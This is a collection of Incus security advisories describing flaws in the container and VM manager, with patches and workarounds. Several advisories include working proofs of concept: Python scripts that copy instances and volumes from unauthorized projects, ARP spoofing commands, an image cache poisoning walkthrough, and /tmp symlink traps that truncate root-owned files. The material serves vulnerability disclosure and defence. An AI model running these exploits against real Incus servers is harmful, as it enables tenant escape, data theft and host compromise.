See how incus compares to other vendors in security performance
Incus is a system container and virtual machine manager. Prior to version 7.3.0, when migrating an instance to another cluster member, user-supplied configuration overrides (including security-critical keys like security.privileged and raw.lxc) are applied without any project restriction enforcement, allowing a restricted project user to escalate to a privileged container and escape to the host. Version 7.3.0 patches the issue.
Incus is a system container and virtual machine manager. Prior to version 7.3.0, improper validation of user-provided block.createoptions in storage volume configuration leads to argument injection in the constructed filesystem creation command line. This allows a project-scoped user to inject arbitrary arguments into the binary executed as root. Version 7.3.0 patches the issue.
Incus is a system container and virtual machine manager. Prior to version 7.3.0, a malicious image containing a metadata.yaml symlink pointing to an arbitrary host path allows an authenticated Incus user to read or overwrite any file on the host as root via the instance metadata API. The exec-output and templates/ paths were patched in a prior release using Lstat rejection and os.OpenRoot confinement; metadata.yaml was not included in either patch and remains exploitable. Version 7.3.0 patches the issue.
Summary The web server spawned by incus webui incorrectly validates the authentication token such that an invalid value will be accepted.
Details incus webui runs a local web server on a random localhost port. For authentication, it provides the user with a URL containing an authentication token. When accessed with that token, Incus creates a cookie persisting that token without needing to include it in subsequent HTTP requests.
While the Incus client correctly validates the value of the cookie, it does not correctly validate the token when passed int the URL. This allows for an attacker able to locate and talk to the temporary web server on localhost to have as much access to Incus as the user who ran incus webui.
This can lead to privilege escalation by another local user or an access to the user's Incus instances and possibly system resources by a remote attack able to trick the local user into interacting with the Incus UI web server.
Credit This issue was discovered and reported by the team at 7asecurity
Impact This affects any Incus user in an environment where an unprivileged user may have root access to a container with an attached custom storage volume that has the security.shifted property set to true as well as access to the host as an unprivileged user.
The most common case for this would be systems using incus-user with the less privileged incus group to provide unprivileged users with an isolated restricted access to Incus. Such users may be able to create a custom storage volume with the necessary property (depending on kernel and filesystem support) and can then write a setuid binary from within the container which can be executed as an unpriivleged user on the host to gain root privileges.
Patches A patch for this issue is available here: https://github.com/lxc/incus/pull/2642
The first commit changes the permissions for any new storage pool, the second commit applies it on startup to all existing storage pools.
Workarounds Permissions can be manually restricted until a patched version of Incus is deployed.
This is done with:
chmod 0700 /var/lib/incus/storage-pools// chmod 0711 /var/lib/incus/storage-pools//buckets chmod 0711 /var/lib/incus/storage-pools//container
Those are the same permissions which will be applied by the patched Incus for both new and existing storage pools.
References This was reported publicly on Github: https://github.com/lxc/incus/issues/2641
Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.macfiltering, security.ipv4filtering and security.ipv6filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.
Details
In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:
ct state established,related accept
iifname "{{.hostName}}" ether type arp accept iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop ... iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop ... iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop
Basically, the added rules partially bypass the security options security.macfiltering, security.ipv4filtering and security.ipv6filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).
PoC
With this terraform infrastructure:
resource "incusnetworkacl" "aclallowout" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incusnetworkacl" "aclallowin" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] }
resource "incusnetwork" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } }
resource "incusinstance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config packageupdate: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incusnetwork.br0.name "security.ipv4filtering" = true "security.acls" = join(",", [ incusnetworkacl.aclallowout.name, incusnetworkacl.aclallowin.name, ]) } } }
resource "incusinstance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incusnetwork.br0.name } } }
An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.
bash [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2 10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1
Spoof machine2 [MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0 [MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0
Flood [MACHINE1]$ arping 10.0.0.1
Machine2's IP refers to machine1's MAC in host ARP table [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE
Packets from the host (or forwarded by the host) to machine2 ... [HOST]$ ping 10.0.0.236 PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data. 64 bytes from 10.0.0.236: icmpseq=1 ttl=64 time=1.19 ms
... are sent to machine1! [MACHINE1]$ tcpdump -nei enp5s0 listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64 15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64
Impact
All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.
Summary Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instancespost.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
Assumes the target server is remotely accessible and a user/certificate has been added.
create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret
restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default
verification, with the restricted certificate incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read."""
from future import annotations
import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.createdefaultcontext() if insecure: ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE ctx.loadcertchain(cert, key)
req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise
def main() -> int: ap = argparse.ArgumentParser() ap.addargument("--url", required=True) ap.addargument("--cert", required=True) ap.addargument("--key", required=True) ap.addargument("--target-project", required=True) ap.addargument("--source-project", required=True) ap.addargument("--source-instance", required=True) ap.addargument("--name", required=True, help="new instance name in target project") ap.addargument("--instance-only", action="storetrue") ap.addargument("--start", action="storetrue") ap.addargument("--insecure", action="storetrue") ap.addargument("--dry-run", action="storetrue") args = ap.parseargs()
body = { "name": args.name, "source": { "type": "copy", "source": args.sourceinstance, "project": args.sourceproject, "instanceonly": args.instanceonly, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.targetproject}) print(json.dumps(body, indent=2)) if args.dryrun: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0
if name == "main": raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC Setup
Assume the target server is remotely accessible and a user/certificate has been added.
create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol
restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default
verification, with the restricted certificate incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project."""
from future import annotations
import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.createdefaultcontext() if insecure: ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE ctx.loadcertchain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise
def main() -> int: ap = argparse.ArgumentParser() ap.addargument("--url", required=True) ap.addargument("--cert", required=True) ap.addargument("--key", required=True) ap.addargument("--pool", required=True) ap.addargument("--target-project", required=True) ap.addargument("--source-project", required=True) ap.addargument("--source-volume", required=True) ap.addargument("--source-pool") ap.addargument("--name", required=True, help="new volume name in target project") ap.addargument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.addargument("--volume-only", action="storetrue") ap.addargument("--insecure", action="storetrue") ap.addargument("--dry-run", action="storetrue") args = ap.parseargs()
source = { "type": "copy", "name": args.sourcevolume, "project": args.sourceproject, "volumeonly": args.volumeonly, } if args.sourcepool: source["pool"] = args.sourcepool
body = { "name": args.name, "type": "custom", "contenttype": args.contenttype, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.targetproject}), ) print(json.dumps(body, indent=2)) if args.dryrun: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0
if name == "main": raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Summary A lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.
Details Incus image fingerprints are computed as the SHA256 of the concatenated image files. When downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.
This missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (restricted.image.server or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.
Such an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.
For this to be successful, the attacker requires:
- Access to an Incus server - That server to NOT have been configured with restricted.image.servers or an equivalent firewall or HTTP proxy policy - Some ability to predict what image may be used by other users in the near future - Other users that are actively deploying new Incus instances on the system
Having to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.
An example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:
- Monitor the legitimate image server for a new image being published - Immediately create a compromised image with the same fingerprint on an attacker controlled image server - Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image
But this again assumes an environment lacking either restricted.image.servers or equivalent firewall or proxy policies.
Mitigation As mentioned above, any server using restricted.image.servers in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.
The updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.
PoC To create a PoC, simply download https://images.linuxcontainers.org/streams/v1/{index,images}.json and https://images.linuxcontainers.org/images/DISTRO/RELEASE/ARCH/default/NEWEST/{incus.tar.xz,rootfs.squashfs} or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.
Then change the content of rootfs.squashfs by unsquashfs/mksquashfs, add one line in /root/.bashrc: echo 'PoC: hacked!', and then update corresponding sha256 and size fields for that individual file in images.json.
Using incus-simplestreams first and then altering the combinedxxx fields should also be OK.
After that, check the following commands:
$ incus remote add poc https://TESTSERVER:4443 --protocol simplestreams $ incus remote list +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | NAME | URL | PROTOCOL | AUTH TYPE | PUBLIC | STATIC | GLOBAL | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | images | https://images.linuxcontainers.org | simplestreams | none | YES | NO | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | local (current) | unix:// | incus | file access | NO | YES | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | poc | https://TESTSERVER:4443 | simplestreams | none | YES | NO | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ $ incus image list +-------+-------------+--------+-------------+--------------+------+------+-------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +-------+-------------+--------+-------------+--------------+------+------+-------------+ $ incus image list images:debian/trixie -c lFpdasu +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13 (7 more) | 8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes | Debian trixie amd64 (2026032005:24) | x8664 | 341.13MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13 (7 more) | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 94.70MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/arm64 (3 more) | 41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 339.27MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/arm64 (3 more) | fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 92.25MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/armhf (3 more) | 77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes | Debian trixie armhf (2026032005:24) | armv7l | 84.14MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud (3 more) | 2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 130.17MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud (3 more) | 108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 374.30MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/arm64 (1 more) | cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 126.78MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/arm64 (1 more) | ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 371.76MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/armhf (1 more) | 8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes | Debian trixie armhf (2026032005:24) | armv7l | 117.92MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/riscv64 (1 more) | dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes | Debian trixie riscv64 (2026032005:24) | riscv64 | 122.90MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/riscv64 (3 more) | 1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes | Debian trixie riscv64 (2026032005:24) | riscv64 | 87.86MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ $ incus image copy poc:debian/trixie local: Image copied successfully! $ incus image list -c lFpdasu +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE | +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ | | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no | Debian trixie amd64 (2026032005:24) | x8664 | 105.09MiB | 2026/03/21 00:55 CST | +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ $ incus launch images:debian/trixie Launching the instance Instance name is: star-mollusk $ incus list +--------------+---------+------+------------------------------------------------+-----------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +--------------+---------+------+------------------------------------------------+-----------+-----------+ | star-mollusk | RUNNING | | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) | CONTAINER | 0 | +--------------+---------+------+------------------------------------------------+-----------+-----------+ $ incus exec star-mollusk bash PoC: hacked! root@star-mollusk:~# exit $ incus image export images:debian/trixie Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 - $ rm incus.tar.xz rootfs.squashfs $ incus image export poc:debian/trixie Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 - $ rm incus.tar.xz rootfs.squashfs $ incus image export local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 Error: Image fingerprint doesn't match. Got d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 $ incus image export poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 -
Summary Incus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.
As Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.
On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protectedsymlinks.
On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.
Details The incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.
An attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.
This allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.
As previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled. It's possible to check on its status by reading the file at /proc/sys/fs/protectedsymlinks, a value of 0 is required for this attack to work.
Affected File: https://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instanceconsole.go
Affected Code: go func instanceConsoleGet(d Daemon, r http.Request) response.Response { [...] } else if inst.Type() == instancetype.VM { v, ok := inst.(instance.VM) if !ok { return response.SmartError(errors.New("Failed to cast inst to VM")) }
var headers map[string]string if consoleLogType == "vga" { screenshotFile, err := os.Create(fmt.Sprintf("/tmp/incusscreenshot%d", inst.ID())) if err != nil { return response.SmartError(fmt.Errorf("Couldn't create screenshot file: %w", err)) }
err = screenshotFile.Chmod(0o600) if err != nil { return response.SmartError(err) }
ent.Cleanup = func() { = screenshotFile.Close() = os.Remove(screenshotFile.Name()) }
err = v.ConsoleScreenshot(screenshotFile) if err != nil { return response.SmartError(err) } [...] } [...] }
Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driverqemu.go
Affected Code: go func (d qemu) ConsoleScreenshot(screenshotFile os.File) error { if !d.IsRunning() { return errors.New("Instance is not running") }
// Check if the agent is running. monitor, err := d.qmpConnect() if err != nil { return err }
err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1) if err != nil { return fmt.Errorf("Failed to chown screenshot path: %w", err) }
// Take the screenshot. err = monitor.Screendump(screenshotFile.Name()) if err != nil { return fmt.Errorf("Failed taking screenshot: %w", err) }
return nil }
PoC The following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incusscreenshot<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.
Step 0: Disable the kernel symlink protection mechanism
Commands (as root): echo 0 > /proc/sys/fs/protectedsymlinks
Step 1: Prepare the target VM
From an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.
Commands: incus init images:alpine/edge lpe-vm --vm --project default incus config set lpe-vm security.secureboot=false --project default incus start lpe-vm --project default
Step 2: Create a root-owned trap target and pre-place /tmp symlinks
On the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.
Commands: echo "SuperSecretRootHash" > /root/shadowtrap chmod 600 /root/shadowtrap ls -l /root/shadowtrap
for i in $(seq 1 100); do ln -sf /root/shadowtrap /tmp/incusscreenshot$i done
ls -l /tmp/incusscreenshot | head
Result: -rw------- 1 root root 20 Mar 18 00:27 /root/shadowtrap
Step 3: Trigger the vulnerable screenshot path
From an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incusscreenshot<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.
Command: incus query -X GET "/1.0/instances/lpe-vm/console?project=default&type=vga" > /dev/null
Result: Error: Failed taking screenshot: Failed to connect to QEMU monitor
Step 4: Verify host-side impact
On the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.
Command: ls -l /root/shadowtrap && stat /root/shadowtrap
Result: -rw------- 1 incus root 0 Mar 18 00:29 /root/shadowtrap File: /root/shadowtrap Size: 0 Access: (0600/-rw-------) Uid: ( 100000/ incus) Gid: ( 0/ root)
It is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.
Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
Incus is a system container and virtual machine manager. Prior to version 7.3.0, project-level enforcement of restricted.containers.privilege=isolated can be trivially bypassed, allowing a user to create a non-isolated (shared host idmap) container in a project that is configured to forbid them. The restriction only rejects an explicitly set security.idmap.isolated=false (or empty) and fails to enforce anything when the key is omitted entirely. Because an unset security.idmap.isolated defaults to false (non-isolation), a user simply leaves the key out and obtains exactly the container state the restriction is meant to forbid. This defeats the tenant-isolation guarantee the restriction exists to provide. Containers in the project share the host uid/gid map instead of receiving unique, non-overlapping ranges, weakening the isolation boundary between co-tenant containers and the host. Version 7.3.0 patches the issue.
Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.macfiltering, security.ipv4filtering and security.ipv6filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Details
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }} {{ range .dnsIPv4 }} iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }}
{{ if .dnsIPv6 }} {{ range .dnsIPv6 }} iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
PoC
With this terraform infrastructure:
resource "incusnetworkacl" "aclallowout" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incusnetworkacl" "aclallowin" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] }
resource "incusnetwork" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } }
